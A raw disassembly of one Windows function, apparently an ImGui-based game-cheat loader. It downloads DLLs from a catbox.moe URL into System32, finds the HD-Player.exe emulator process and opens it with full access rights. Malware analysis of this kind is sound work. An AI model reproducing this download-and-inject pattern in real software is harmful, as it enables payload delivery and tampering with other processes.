Function at 0x1400431e0
Capabilities:
Check if file exists
Create process on windows
Create thread
Download url
Enumerate processes
Execute command
Log keystrokes via polling
Receive data

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x2718]
mov eax, 0x2818
call fcn.140114ef0
sub rsp, rax
lea rcx, [0x140284c60]
call fcn.1400be4e0
movups xmm0, xmmword [str.https:__files.catbox.moe_qjr66s.dll]
mov eax, dword [0x140182d08]
xor r15d, r15d
movups xmm1, xmmword [0x140182cf8]
xor r9d, r9d
lea r8, [rsp + 0x60]
movups xmmword [rbp + 0x278], xmm0
lea rdx, [rbp + 0x278]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSystem32menuchamsnuevas.dll]
mov dword [rbp + 0x298], eax
movups xmmword [rbp + 0x288], xmm1
mov qword [rsp + 0x20], r15
movups xmm1, xmmword [0x140182d20]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140182d30]
movsd qword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_qjr66s.dll]
mov eax, dword [0x140182d08]
xor r9d, r9d
movups xmm1, xmmword [0x140182cf8]
mov dword [rbp - 0x80], eax
lea r8, [rbp + 0x278]
movzx eax, word [0x140182d58]
lea rdx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
xor ecx, ecx
mov word [rbp + 0x298], ax
movups xmm0, xmmword [str.C:WindowsSystem32menuchams.dll]
mov qword [rsp + 0x20], r15
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140182d48]
movups xmmword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x288], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 8
call fcn.140114530
lea rcx, [0x140042910]
mov r9, rax
lea r8, [0x140049610]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x30], rax
test rax, rax
je 0x140047dd8
mov qword [rsp + 0x2808], r13
cmp dword [rbp - 0x28], r15d
je 0x140047dcc
movaps xmm0, xmmword [rbp - 0x30]
lea rcx, [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047dcc
mov qword [rsp + 0x2830], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x2838], rsi
mov qword [rsp + 0x2840], rdi
mov qword [rsp + 0x2800], r14
movaps xmmword [rsp + 0x27c0], xmm9
movdqa xmmword [rbp - 0x30], xmm0
call fcn.140042970
mov ebx, dword [0x1402639b8]
test ebx, ebx
jne 0x140043434
cmp qword [0x140263a58], r15
jne 0x1400433aa
mov ecx, reloc.WS2_32.dll_recv
call fcn.140114530
mov qword [0x140263a58], rax
mov dword [rax + 8], r15d
xor edx, edx
mov ecx, 2
mov ebx, r15d
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x650]
mov dword [rbp + 0x650], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x650]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14004342e
nop
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x67c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14004341a
mov eax, dword [rbp + 0x66c]
cmp eax, edi
jle 0x14004341a
mov ebx, dword [rbp + 0x658]
mov edi, eax
lea rdx, [rbp + 0x650]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400433f0
mov dword [0x1402639b8], ebx
mov rdi, qword [0x140263a58]
test rdi, rdi
jne 0x14004345e
mov ecx, reloc.WS2_32.dll_recv
call fcn.140114530
mov ebx, dword [0x1402639b8]
mov rdi, rax
mov qword [0x140263a58], rax
mov dword [rax + 8], r15d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x1400434e1
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x370]
mov dword [rbp + 0x370], 0x130
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x370]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400434de
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x39c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x378]
lea rdx, [rbp + 0x370]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400434b0
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r15d
je 0x1400434fa
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rax, [0x140047e70]
mov dword [rbp + 0x4a0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x4a8], rax
xor ecx, ecx
mov dword [rbp + 0x4a4], 0x40
mov qword [rbp + 0x4b0], r15
mov qword [rbp + 0x4b8], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x4c0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.Example
mov qword [rbp + 0x4d0], r15
mov qword [rbp + 0x4c8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x4e0], r14
xor ecx, ecx
mov qword [rbp + 0x4d8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x4a0]
mov qword [rbp + 0x4e8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14019a10c]
mov r13d, 1
mov ecx, r13d
cvttss2si esi, dword [0x14019a108]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14019a10c]
xor ecx, ecx
movss xmm9, dword [0x14018303c]
cdq
sub eax, edx
mulss xmm0, xmm9
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14019a108]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x4e0]
mov r8, r14
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm9
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.user32.dll
mov qword [0x140263998], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400436b9
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400436b0
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x358], rcx
lea rdx, [rbp + 0x350]
mov rcx, rdi
mov dword [rbp + 0x350], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x360], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movdqa xmm0, xmmword [0x140183190]
lea rdx, [rbp + 0x5c0]
mov rcx, qword [0x140263998]
movdqu xmmword [rbp + 0x5c0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140263998]
lea rdx, [0x1402639a8]
xorps xmm0, xmm0
movups xmmword [0x1402639a8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140263998]
xor r9d, r9d
mov qword [rbp + 0x3a0], rax
xor r8d, r8d
lea rax, [0x1402892f8]
mov qword [rbp + 0x384], r15
mov qword [rsp + 0x58], rax
mov edx, r13d
lea rax, [rbp - 0x48]
mov qword [rbp + 0x398], 2
mov qword [rsp + 0x50], rax
xor ecx, ecx
lea rax, [0x1402892f0]
mov qword [rbp + 0x3b0], 2
mov qword [rsp + 0x48], rax
lea rax, [0x1402892a8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x370], r15
mov dword [rbp + 0x380], Ordinal_32
mov dword [rbp + 0x378], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x37c], r13d
mov dword [rbp + 0x394], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x38c], r13
mov qword [rbp + 0x3a8], r13
mov dword [rbp - 0x50], 0xb000
mov dword [rbp - 0x4c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x140047dab
mov rcx, qword [0x1402892a8]
lea r9, [rbp - 0x40]
mov qword [rsp + 0x2810], r12
lea r8, [0x140182f60]
movaps xmmword [rsp + 0x27f0], xmm6
xor edx, edx
movaps xmmword [rsp + 0x27e0], xmm7
mov rax, qword [rcx]
movaps xmmword [rsp + 0x27d0], xmm8
movaps xmmword [rsp + 0x27b0], xmm10
movaps xmmword [rsp + 0x27a0], xmm11
movaps xmmword [rsp + 0x2790], xmm12
movaps xmmword [rsp + 0x2780], xmm13
movaps xmmword [rsp + 0x2770], xmm14
movaps xmmword [rsp + 0x2760], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x1402892f0]
lea r9, [0x140284f38]
mov rdx, qword [rbp - 0x40]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140263998]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140263998]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140263950]
test rbx, rbx
je 0x1400438a0
inc dword [rbx + 0xf4]
mov ecx, 0x5e30
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x1400438bc
xor edx, edx
mov rcx, rax
call fcn.140002380
jmp 0x1400438bf
mov rax, r15
mov qword [0x140263950], rax
call fcn.140006900
test rbx, rbx
je 0x1400438d9
mov qword [0x140263950], rbx
jmp 0x1400438e0
mov rbx, qword [0x140263950]
test rbx, rbx
jne 0x140043906
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140263950]
mov rsi, qword [rbx + 0x58]
xorps xmm6, xmm6
movss xmm14, dword [0x140183070]
xor eax, eax
movups xmmword [rbp + 0x380], xmm6
mov qword [rbp + 0x3f0], rax
mov eax, 0xffff
movups xmmword [rbp + 0x3b0], xmm6
mov dword [rbp + 0x388], 3
movups xmmword [rbp + 0x3c0], xmm6
mov dword [rbp + 0x38c], r13d
movups xmmword [rbp + 0x370], xmm6
mov byte [rbp + 0x37c], r13b
mov dword [rbp + 0x3b4], 0x7f7fffff
mov dword [rbp + 0x3c0], 0x3f800000
mov word [rbp + 0x3c4], ax
mov dword [rbp + 0x3bc], 0x10c
cmp byte [rsi + 0x18], r15b
je 0x14004399d
mov r8d, 0xb5f
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm7, xmmword [rbp + 0x370]
movaps xmm8, xmmword [rbp + 0x380]
movq rdi, xmm7
movaps xmm10, xmmword [rbp + 0x3b0]
movaps xmm11, xmmword [rbp + 0x3c0]
movsd xmm12, qword [rbp + 0x3f0]
movaps xmmword [rbp + 0x650], xmm7
movaps xmmword [rbp + 0x660], xmm8
movaps xmmword [rbp + 0x670], xmm6
movaps xmmword [rbp + 0x680], xmm6
movaps xmmword [rbp + 0x690], xmm10
movaps xmmword [rbp + 0x6a0], xmm11
movaps xmmword [rbp + 0x6b0], xmm6
movaps xmmword [rbp + 0x6c0], xmm6
movsd qword [rbp + 0x6d0], xmm12
test rdi, rdi
je 0x140043a2d
mov r8d, 0xb61
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14023b350]
mov dword [rbp + 0x658], 0x26368
lea r14, [0x14017fcd0]
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0x650]
mov qword [rbp + 0x688], r14
mov rcx, rsi
mov dword [rbp + 0x664], 0x41b80000
call fcn.140026e10
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], r15b
je 0x140043a90
mov r8d, 0xb5f
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x650], xmm7
movaps xmmword [rbp + 0x660], xmm8
movaps xmmword [rbp + 0x670], xmm6
movaps xmmword [rbp + 0x680], xmm6
movaps xmmword [rbp + 0x690], xmm10
movaps xmmword [rbp + 0x6a0], xmm11
movaps xmmword [rbp + 0x6b0], xmm6
movaps xmmword [rbp + 0x6c0], xmm6
movsd qword [rbp + 0x6d0], xmm12
test rdi, rdi
je 0x140043af3
mov r8d, 0xb61
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14019b1a0]
mov dword [rbp + 0x658], 0x28da8
lea rdx, [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov rcx, rsi
mov dword [rbp + 0x664], 0x42340000
mov qword [rbp + 0x688], r14
call fcn.140026e10
mov rbx, qword [rbx + 0x58]
mov qword [0x140263a48], rax
cmp byte [rbx + 0x18], r15b
je 0x140043b56
mov r8d, 0xb5f
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x650], xmm7
movaps xmmword [rbp + 0x660], xmm8
movaps xmmword [rbp + 0x670], xmm6
movaps xmmword [rbp + 0x680], xmm6
movaps xmmword [rbp + 0x690], xmm10
movaps xmmword [rbp + 0x6a0], xmm11
movaps xmmword [rbp + 0x6b0], xmm6
movaps xmmword [rbp + 0x6c0], xmm6
movsd qword [rbp + 0x6d0], xmm12
test rdi, rdi
je 0x140043bb9
mov r8d, 0xb61
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14023a890]
mov dword [rbp + 0x658], 0xab8
lea rdx, [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov rcx, rbx
mov dword [rbp + 0x664], 0x420c0000
mov qword [rbp + 0x688], r14
call fcn.140026e10
mov rbx, qword [0x140263950]
mov rsi, qword [0x140263998]
mov qword [0x140263970], rax
test rbx, rbx
jne 0x140043c2c
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140263950]
cmp qword [rbx + 0x98], r15
je 0x140043c4f
mov r8d, 0x76
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copia_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140043dbd
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140043dbd
mov rax, qword [0x140263950]
test rax, rax
je 0x140043c85
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140043cb2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x140043cb5
mov rdi, r15
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x140263950]
mov qword [rdi], rsi
mov rax, qword [rbp - 8]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp - 0x10]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48c0], r15d
jg 0x140043d12
mov r8d, 0x702
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
mov rbx, r15
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x278], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x280], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x288], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x290], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x298], rax
mov byte [rdi + 0x2d], r13b
nop dword [rax]
mov rcx, qword [rbp + rbx*8 + 0x278]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140043d91
inc rbx
cmp rbx, 5
jl 0x140043d70
jmp 0x140043dbd
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x140263950]
mov r14, qword [0x1402892f8]
mov rsi, qword [0x1402892f0]
test rax, rax
jne 0x140043df8
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x140043e26
mov r8d, 0x221
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copia_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
test rax, rax
je 0x140043e31
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140043e72
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140043e75
mov rbx, r15
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp - 0x48]
mov qword [rdi + 0x98], rbx
lea rdx, [0x140181910]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
call qword [rax]
test eax, eax
jne 0x140043ef2
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x50]
lea rdx, [0x140181920]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140043ef2
mov rcx, qword [rbp - 0x50]
lea r8, [rbp - 0x40]
lea rdx, [0x140181930]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140043ef2
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp - 0x40]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140043f01
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140043f10
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
cvttss2si esi, dword [0x14019a108]
mov ebx, r15d
mov edi, r15d
mov qword [rbp - 0x20], rbx
mov r12d, r15d
mov qword [rbp], rbx
mov dword [rbp + 0x28], ebx
mov dword [rbp - 0x18], ebx
mov dword [rbp + 8], ebx
movss xmm1, dword [0x140183004]
xorps xmm13, xmm13
cvttss2si r14d, dword [0x14019a10c]
movsd xmm10, qword [rbp - 0x20]
xorps xmm0, xmm0
movsd xmm11, qword [rbp]
movss xmm15, dword [0x1401830d0]
movss xmm7, dword [0x140183154]
movsd xmm12, qword [0x140183088]
movd xmm8, esi
cvtdq2ps xmm8, xmm8
unpcklps xmm0, xmm1
subss xmm8, xmm13
movss dword [0x140289308], xmm13
movsd qword [0x140289300], xmm0
nop word [rax + rax]
xor eax, eax
mov dword [rbp + 0x390], 0x40a00000
mov qword [rbp + 0x3a0], rax
mov dword [rbp + 0x394], 0x41a00000
mov dword [rbp + 0x398], esi
mov dword [rbp + 0x39c], r14d
mov dword [rbp + 0x38c], 0xfaf00000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm6, eax
cvtdq2ps xmm6, xmm6
divss xmm6, xmm7
mulss xmm6, dword [0x140183104]
subss xmm6, dword [0x140183108]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movaps xmm1, xmm8
mov dword [rbp + 0x3b0], edi
movsd qword [rbp + 0x370], xmm10
mov dword [rbp + 0x378], r15d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov dword [rbp + 0x384], r12d
movsd qword [rbp + 0x37c], xmm11
divss xmm0, xmm7
mulss xmm1, xmm0
addss xmm1, xmm13
unpcklps xmm1, xmm6
movsd qword [rbp + 0x3a8], xmm1
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movaps xmm1, xmm12
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm7
addss xmm0, xmm13
cvtps2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov rdx, qword [0x140284c50]
xorps xmm1, xmm1
cmp rdx, qword [0x140284c58]
cvtsd2ss xmm1, xmm0
mulss xmm1, xmm15
minss xmm1, xmm15
maxss xmm1, dword [0x1401830a0]
movss dword [rbp + 0x388], xmm1
je 0x1400440df
movups xmm0, xmmword [rbp + 0x370]
movups xmm1, xmmword [rbp + 0x380]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rbp + 0x390]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rbp + 0x3a0]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
mov dword [rdx + 0x40], edi
add qword [0x140284c50], 0x44
jmp 0x1400440eb
lea r8, [rbp + 0x370]
call fcn.140049b60
inc ebx
cmp ebx, 0x14
jb 0x140043fb0
movss xmm11, dword [0x140183168]
lea r12, [0x140263a50]
movss xmm10, dword [0x140183114]
xor r14b, r14b
movss xmm12, dword [0x1401830a0]
xor esi, esi
movabs r15, 0x746f626d69666661
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x620]
xor edx, edx
lea rdi, [0x140263a40]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400441a0
nop dword [rax]
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x628], 0x12
lea rcx, [rbp + 0x620]
movzx r14d, r14b
cmove r14d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140044150
test r14b, r14b
jne 0x1400479cf
mov rbx, qword [0x140263950]
test rbx, rbx
je 0x1400441ba
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x1400441d7
jmp 0x1400441bd
mov rbx, rsi
mov r8d, 0x250
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copia_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x1400441e3
call fcn.14003b5c0
call fcn.14003c770
call fcn.140008d80
cmp qword [0x140263a40], 0
mov qword [rbp + 0x370], 0xffffffffffffffff
mov qword [rbp + 0x378], 0xffffffffffffffff
mov qword [rbp + 0x380], 0xffffffffffffffff
mov qword [rbp + 0x388], 0xffffffffffffffff
mov dword [rbp + 0x390], 0xffffffff
mov qword [rbp + 0x394], 0xfffffffffffffffd
mov dword [rbp + 0x39c], 0xffffffff
mov qword [rbp + 0x3a0], rsi
jne 0x140044279
mov rcx, qword [0x1402892f0]
lea r9, [rbp + 0x370]
mov qword [rsp + 0x30], rsi
lea rdx, [0x14019a110]
mov qword [rsp + 0x28], rdi
mov r8d, 0x1090
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140263988], 0
jne 0x1400442ba
mov rcx, qword [0x1402892f0]
lea rax, [0x140263988]
mov qword [rsp + 0x30], rsi
lea r9, [rbp + 0x370]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401c3f50]
mov r8d, 0x5ab96
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x140263950]
test rax, rax
jne 0x1400442e7
mov r8d, 0xb89
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
mov qword [rax + 0x37f8], 0
test rax, rax
jne 0x140044318
mov r8d, 0xb89
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
movss xmm0, dword [0x14019a108]
lea rcx, str.menu_DirectX11
movss xmm1, dword [0x14019a10c]
xor edx, edx
mov dword [rax + 0x3804], esi
mov r8d, 0xaf
mov dword [rax + 0x383c], 0x41700000
mov dword [rax + 0x3840], 0x41700000
mov dword [rax + 0x3864], 0x40e00000
movss dword [rax + 0x47e8], xmm0
movss dword [rax + 0x47ec], xmm1
mov dword [rax + 0x47d0], r13d
or dword [rax + 0x47c8], 3
mov qword [rax + 0x47d8], 0
mov qword [rax + 0x47e0], 0
mov dword [rax + 0x47cc], r13d
call fcn.14000ed90
mov rcx, qword [0x140263998]
lea rdx, [0x1402639a8]
